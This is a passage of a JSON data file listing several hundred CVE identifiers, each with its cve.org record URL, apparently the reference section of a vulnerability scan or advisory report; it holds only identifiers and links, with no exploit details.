          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
        },
        {
          "name": "CVE-2025-1767",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1767"
        },
        {
          "name": "CVE-2026-6844",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6844"
        },
        {
          "name": "CVE-2026-112946",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112946"
        },
        {
          "name": "CVE-2026-4224",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4224"
        },
        {
          "name": "CVE-2026-111181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111181"
        },
        {
          "name": "CVE-2026-111063",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111063"
        },
        {
          "name": "CVE-2026-53489",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53489"
        },
        {
          "name": "CVE-2025-58186",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
        },
        {
          "name": "CVE-2026-33997",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33997"
        },
        {
          "name": "CVE-2026-18798",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18798"
        },
        {
          "name": "CVE-2026-56853",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56853"
        },
        {
          "name": "CVE-2026-34183",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34183"
        },
        {
          "name": "CVE-2025-13034",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13034"
        },
        {
          "name": "CVE-2025-8714",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8714"
        },
        {
          "name": "CVE-2026-78437",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78437"
        },
        {
          "name": "CVE-2025-9086",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9086"
        },
        {
          "name": "CVE-2026-16730",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16730"
        },
        {
          "name": "CVE-2026-82474",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82474"
        },
        {
          "name": "CVE-2026-35193",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35193"
        },
        {
          "name": "CVE-2024-10041",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10041"
        },
        {
          "name": "CVE-2025-8869",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8869"
        },
        {
          "name": "CVE-2026-41006",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41006"
        },
        {
          "name": "CVE-2026-53495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53495"
        },
        {
          "name": "CVE-2026-70454",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70454"
        },
        {
          "name": "CVE-2025-58187",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
        },
        {
          "name": "CVE-2026-45205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45205"
        },
        {
          "name": "CVE-2026-19445",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19445"
        },
        {
          "name": "CVE-2026-53790",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53790"
        },
        {
          "name": "CVE-2026-48959",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48959"
        },
        {
          "name": "CVE-2022-4899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-4899"
        },
        {
          "name": "CVE-2026-77117",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77117"
        },
        {
          "name": "CVE-2026-13506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
        },
        {
          "name": "CVE-2026-78367",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78367"
        },
        {
          "name": "CVE-2026-48706",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48706"
        },
        {
          "name": "CVE-2026-14673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14673"
        },
        {
          "name": "CVE-2022-1559",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-1559"
        },
        {
          "name": "CVE-2026-42505",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42505"
        },
        {
          "name": "CVE-2026-49844",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
        },
        {
          "name": "CVE-2026-94447",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94447"
        },
        {
          "name": "CVE-2022-3219",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-3219"
        },
        {
          "name": "CVE-2025-13601",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13601"
        },
        {
          "name": "CVE-2025-12817",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12817"
        },
        {
          "name": "CVE-2025-4673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
        },
        {
          "name": "CVE-2026-67693",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67693"
        },
        {
          "name": "CVE-2026-119741",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119741"
        },
        {
          "name": "CVE-2026-100408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-100408"
        },
        {
          "name": "CVE-2018-5709",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-5709"
        },
        {
          "name": "CVE-2026-115456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115456"
        },
        {
          "name": "CVE-2026-102473",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102473"
        },
        {
          "name": "CVE-2026-87865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87865"
        },
        {
          "name": "CVE-2025-5916",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5916"
        },
        {
          "name": "CVE-2026-56406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56406"
        },
        {
          "name": "CVE-2026-54370",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
        },
        {
          "name": "CVE-2025-69651",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69651"
        },
        {
          "name": "CVE-2026-29181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-29181"
        },
        {
          "name": "CVE-2026-28390",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
        },
        {
          "name": "CVE-2025-32988",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32988"
        },
        {
          "name": "CVE-2026-80206",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80206"
        },
        {
          "name": "CVE-2026-1757",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1757"
        },
        {
          "name": "CVE-2024-10963",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10963"
        },
        {
          "name": "CVE-2026-112897",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112897"
        },
        {
          "name": "CVE-2026-73229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73229"
        },
        {
          "name": "CVE-2026-50010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
        },
        {
          "name": "CVE-2026-55379",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
        },
        {
          "name": "CVE-2017-13716",
          "url": "https://www.cve.org/CVERecord?id=CVE-2017-13716"
        },
        {
          "name": "CVE-2026-39836",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39836"
        },
        {
          "name": "CVE-2026-62385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62385"
        },
        {
          "name": "CVE-2026-39395",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39395"
        },
        {
          "name": "CVE-2026-111065",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111065"
        },
        {
          "name": "CVE-2026-78408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78408"
        },
        {
          "name": "CVE-2026-6791",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6791"
        },
        {
          "name": "CVE-2026-87862",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87862"
        },
        {
          "name": "CVE-2026-56408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56408"
        },
        {
          "name": "CVE-2025-14524",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14524"
        },
        {
          "name": "CVE-2025-27113",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-27113"
        },
        {
          "name": "CVE-2026-62388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62388"
        },
        {
          "name": "CVE-2026-6845",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6845"
        },
        {
          "name": "CVE-2026-6477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
        },
        {
          "name": "CVE-2026-0915",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0915"
        },
        {
          "name": "CVE-2025-15281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15281"
        },
        {
          "name": "CVE-2026-119379",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119379"
        },
        {
          "name": "CVE-2026-14663",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14663"
        },
        {
          "name": "CVE-2026-42767",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42767"
        },
        {
          "name": "CVE-2026-9828",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9828"
        },
        {
          "name": "CVE-2026-50219",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50219"
        },
        {
          "name": "CVE-2025-47913",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47913"
        },
        {
          "name": "CVE-2026-19553",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19553"
        },
        {
          "name": "CVE-2026-24747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-24747"
        },
        {
          "name": "CVE-2026-58280",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58280"
        },
        {
          "name": "CVE-2026-42502",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42502"
        },
        {
          "name": "CVE-2026-59846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59846"
        },
        {
          "name": "CVE-2026-6238",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
        },
        {
          "name": "CVE-2026-0864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0864"
        },
        {
          "name": "CVE-2026-42955",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42955"
        },
        {
          "name": "CVE-2026-63328",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63328"
        },
        {
          "name": "CVE-2026-46582",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46582"
        },
        {
          "name": "CVE-2024-7598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-7598"
        },
        {
          "name": "CVE-2026-85231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-85231"
        },
        {
          "name": "CVE-2026-114136",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114136"
        },
        {
          "name": "CVE-2026-63379",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63379"
        },
        {
          "name": "CVE-2026-56403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56403"
        },
        {
          "name": "CVE-2026-81724",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81724"
        },
        {
          "name": "CVE-2026-114138",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114138"
        },
        {
          "name": "CVE-2026-59200",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
        },
        {
          "name": "CVE-2026-2297",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2297"
        },
        {
          "name": "CVE-2026-17084",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-17084"
        },
        {
          "name": "CVE-2026-39882",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39882"
        },
        {
          "name": "CVE-2025-58181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
        },
        {
          "name": "CVE-2025-40909",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-40909"
        },
        {
          "name": "CVE-2026-82562",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82562"
        },
        {
          "name": "CVE-2026-102554",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102554"
        },
        {
          "name": "CVE-2026-107726",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107726"
        },
        {
          "name": "CVE-2025-69720",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69720"
        },
        {
          "name": "CVE-2026-41567",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41567"
        },
        {
          "name": "CVE-2026-4873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4873"
        },
        {
          "name": "CVE-2026-0967",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0967"
        },
        {
          "name": "CVE-2025-12060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12060"
        },
        {
          "name": "CVE-2026-44621",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44621"
        },
        {
          "name": "CVE-2025-47914",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
        },
        {
          "name": "CVE-2026-66299",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66299"
        },
        {
          "name": "CVE-2026-53793",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53793"
        },
        {
          "name": "CVE-2024-25621",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-25621"
        },
        {
          "name": "CVE-2025-9403",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9403"
        },
        {
          "name": "CVE-2026-25681",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25681"
        },
        {
          "name": "CVE-2026-86248",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86248"
        },
        {
          "name": "CVE-2026-107386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107386"
        },
        {
          "name": "CVE-2025-69418",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69418"
        },
        {
          "name": "CVE-2025-8114",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8114"
        },
        {
          "name": "CVE-2026-112899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112899"
        },
        {
          "name": "CVE-2026-96643",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96643"
        },
        {
          "name": "CVE-2026-86469",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86469"
        },
        {
          "name": "CVE-2016-20013",
          "url": "https://www.cve.org/CVERecord?id=CVE-2016-20013"
        },
        {
          "name": "CVE-2026-11979",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11979"
        },
        {
          "name": "CVE-2025-32387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32387"
        },
        {
          "name": "CVE-2026-71556",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71556"
        },
        {
          "name": "CVE-2026-54517",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
        },
        {
          "name": "CVE-2025-66864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66864"
        },
        {
          "name": "CVE-2025-22869",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
        },
        {
          "name": "CVE-2026-93990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93990"
        },
        {
          "name": "CVE-2026-89160",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89160"
        },
        {
          "name": "CVE-2026-62380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62380"
        },
        {
          "name": "CVE-2026-119371",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119371"
        },
        {
          "name": "CVE-2026-43896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-43896"
        },
        {
          "name": "CVE-2026-4437",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4437"
        },
        {
          "name": "CVE-2026-1299",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1299"
        },
        {
          "name": "CVE-2026-63385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63385"
        },
        {
          "name": "CVE-2025-1150",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1150"
        },
        {
          "name": "CVE-2026-53803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53803"
        },
        {
          "name": "CVE-2025-58189",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
        },
        {
          "name": "CVE-2026-50248",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50248"
        },
        {
          "name": "CVE-2025-6021",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6021"
        },
        {
          "name": "CVE-2026-63387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63387"
        },
        {
          "name": "CVE-2024-29902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-29902"
        },
        {
          "name": "CVE-2026-0968",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0968"
        },
        {
          "name": "CVE-2024-10978",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10978"
        },
        {
          "name": "CVE-2026-78669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78669"
        },
        {
          "name": "CVE-2020-23026",
          "url": "https://www.cve.org/CVERecord?id=CVE-2020-23026"
        },
        {
          "name": "CVE-2026-8925",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8925"
        },
        {
          "name": "CVE-2023-7008",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-7008"
        },
        {
          "name": "CVE-2026-3644",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3644"
        },
        {
          "name": "CVE-2026-89044",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89044"
        },
        {
          "name": "CVE-2026-78661",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78661"
        },
        {
          "name": "CVE-2026-70174",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70174"
        },
        {
          "name": "CVE-2026-27140",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27140"
        },
        {
          "name": "CVE-2026-93575",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93575"
        },
        {
          "name": "CVE-2026-39817",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39817"
        },
        {
          "name": "CVE-2026-56409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56409"
        },
        {
          "name": "CVE-2026-32316",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32316"
        },
        {
          "name": "CVE-2026-65905",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
        },
        {
          "name": "CVE-2026-42499",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42499"
        },
        {
          "name": "CVE-2026-81869",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81869"
        },
        {
          "name": "CVE-2023-47039",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-47039"
        },
        {
          "name": "CVE-2026-76642",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76642"
        },
        {
          "name": "CVE-2022-40896",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-40896"
        },
        {
          "name": "CVE-2026-56745",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
        },
        {
          "name": "CVE-2026-44604",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44604"
        },
        {
          "name": "CVE-2026-89161",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89161"
        },
        {
          "name": "CVE-2026-89158",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89158"
        },
        {
          "name": "CVE-2016-2781",
          "url": "https://www.cve.org/CVERecord?id=CVE-2016-2781"
        },
        {
          "name": "CVE-2025-8225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8225"
        },
        {
          "name": "CVE-2026-42764",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42764"
        },
        {
          "name": "CVE-2023-29383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2023-29383"
        },
        {
          "name": "CVE-2026-55955",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
        },
        {
          "name": "CVE-2026-82049",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82049"
        },
        {
          "name": "CVE-2025-70559",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-70559"
        },
        {
          "name": "CVE-2026-93488",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93488"
        },
        {
          "name": "CVE-2026-86144",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86144"
        },
        {
          "name": "CVE-2026-31789",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-31789"
        },
        {
          "name": "CVE-2026-79676",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79676"
        },
        {
          "name": "CVE-2025-22870",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
        },
        {
          "name": "CVE-2026-42311",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42311"
        },
        {
          "name": "CVE-2026-75803",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75803"
        },
        {
          "name": "CVE-2026-54872",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54872"
        },
        {
          "name": "CVE-2026-8643",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8643"
        },
        {
          "name": "CVE-2025-11413",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11413"
        },
        {
          "name": "CVE-2026-5773",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5773"
        },
        {
          "name": "CVE-2025-5245",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5245"
        },
        {
          "name": "CVE-2026-80231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80231"
        },
        {
          "name": "CVE-2026-19487",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19487"
        },
        {
          "name": "CVE-2026-57585",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57585"
        },
        {
          "name": "CVE-2025-32415",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32415"
        },
        {
          "name": "CVE-2026-8927",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8927"
        },
        {
          "name": "CVE-2026-68770",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-68770"
        },
        {
          "name": "CVE-2026-48043",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48043"
        },
        {
          "name": "CVE-2026-5745",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5745"
        },
        {
          "name": "CVE-2026-41889",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41889"
        },
        {
          "name": "CVE-2024-23337",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-23337"
        },
        {
          "name": "CVE-2026-112396",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112396"
        },
        {
          "name": "CVE-2026-54411",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54411"
        },
        {
          "name": "CVE-2026-42310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42310"
        },
        {
          "name": "CVE-2026-12072",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12072"
        },
        {
          "name": "CVE-2026-54513",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
        },
        {
          "name": "CVE-2026-27139",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27139"
        },
        {
          "name": "CVE-2026-112402",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112402"
        },
        {
          "name": "CVE-2026-42501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42501"
        },
        {
          "name": "CVE-2025-4207",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4207"
        },
        {
          "name": "CVE-2026-6276",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6276"
        },
        {
          "name": "CVE-2026-0992",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0992"
        },
        {
          "name": "CVE-2026-66393",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66393"
        },
        {
          "name": "CVE-2026-75805",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75805"
        },
        {
          "name": "CVE-2026-94266",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94266"
        },
        {
          "name": "CVE-2025-9230",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9230"
        },
        {
          "name": "CVE-2026-42250",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42250"
        },
        {
          "name": "CVE-2026-65927",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
        },
        {
          "name": "CVE-2025-14009",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14009"
        },
        {
          "name": "CVE-2026-92388",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92388"
        },
        {
          "name": "CVE-2025-66564",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66564"
        },
        {
          "name": "CVE-2026-54518",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
        },
        {
          "name": "CVE-2026-84837",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84837"
        },
        {
          "name": "CVE-2026-48588",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48588"
        },
        {
          "name": "CVE-2025-5244",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5244"
        },
        {
          "name": "CVE-2026-46598",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-46598"
        },
        {
          "name": "CVE-2026-6464",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6464"
        },
        {
          "name": "CVE-2026-47244",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47244"
        },
        {
          "name": "CVE-2026-86412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86412"
        },
        {
          "name": "CVE-2026-53434",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
        },
        {
          "name": "CVE-2025-48924",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
        },
        {
          "name": "CVE-2026-33810",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33810"
        },
        {
          "name": "CVE-2025-15558",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15558"
        },
        {
          "name": "CVE-2026-112945",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112945"
        },
        {
          "name": "CVE-2026-54448",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54448"
        },
        {
          "name": "CVE-2026-102633",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-102633"
        },
        {
          "name": "CVE-2025-32414",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-32414"
        },
        {
          "name": "CVE-2026-110879",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-110879"
        },
        {
          "name": "CVE-2026-8328",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8328"
        },
        {
          "name": "CVE-2026-26308",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26308"
        },
        {
          "name": "CVE-2026-41256",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41256"
        },
        {
          "name": "CVE-2026-9538",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9538"
        },
        {
          "name": "CVE-2026-6471",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6471"
        },
        {
          "name": "CVE-2026-15806",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15806"
        },
        {
          "name": "CVE-2025-12058",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12058"
        },
        {
          "name": "CVE-2025-1153",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1153"
        },
        {
          "name": "CVE-2026-53789",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53789"
        },
        {
          "name": "CVE-2026-2003",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2003"
        },
        {
          "name": "CVE-2025-15079",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-15079"
        },
        {
          "name": "CVE-2026-2673",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-2673"
        },
        {
          "name": "CVE-2026-57432",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57432"
        },
        {
          "name": "CVE-2026-55991",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55991"
        },
        {
          "name": "CVE-2025-1632",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1632"
        },
        {
          "name": "CVE-2025-11412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11412"
        },
        {
          "name": "CVE-2026-105712",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-105712"
        },
        {
          "name": "CVE-2026-53791",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53791"
        },
        {
          "name": "CVE-2026-49834",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49834"
        },
        {
          "name": "CVE-2026-32282",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32282"
        },
        {
          "name": "CVE-2026-5958",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5958"
        },
        {
          "name": "CVE-2026-33762",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33762"
        },
        {
          "name": "CVE-2026-65915",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65915"
        },
        {
          "name": "CVE-2026-3184",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3184"
        },
        {
          "name": "CVE-2026-50151",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50151"
        },
        {
          "name": "CVE-2026-63381",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63381"
        },
        {
          "name": "CVE-2026-11972",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11972"
        },
        {
          "name": "CVE-2026-55830",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55830"
        },
        {
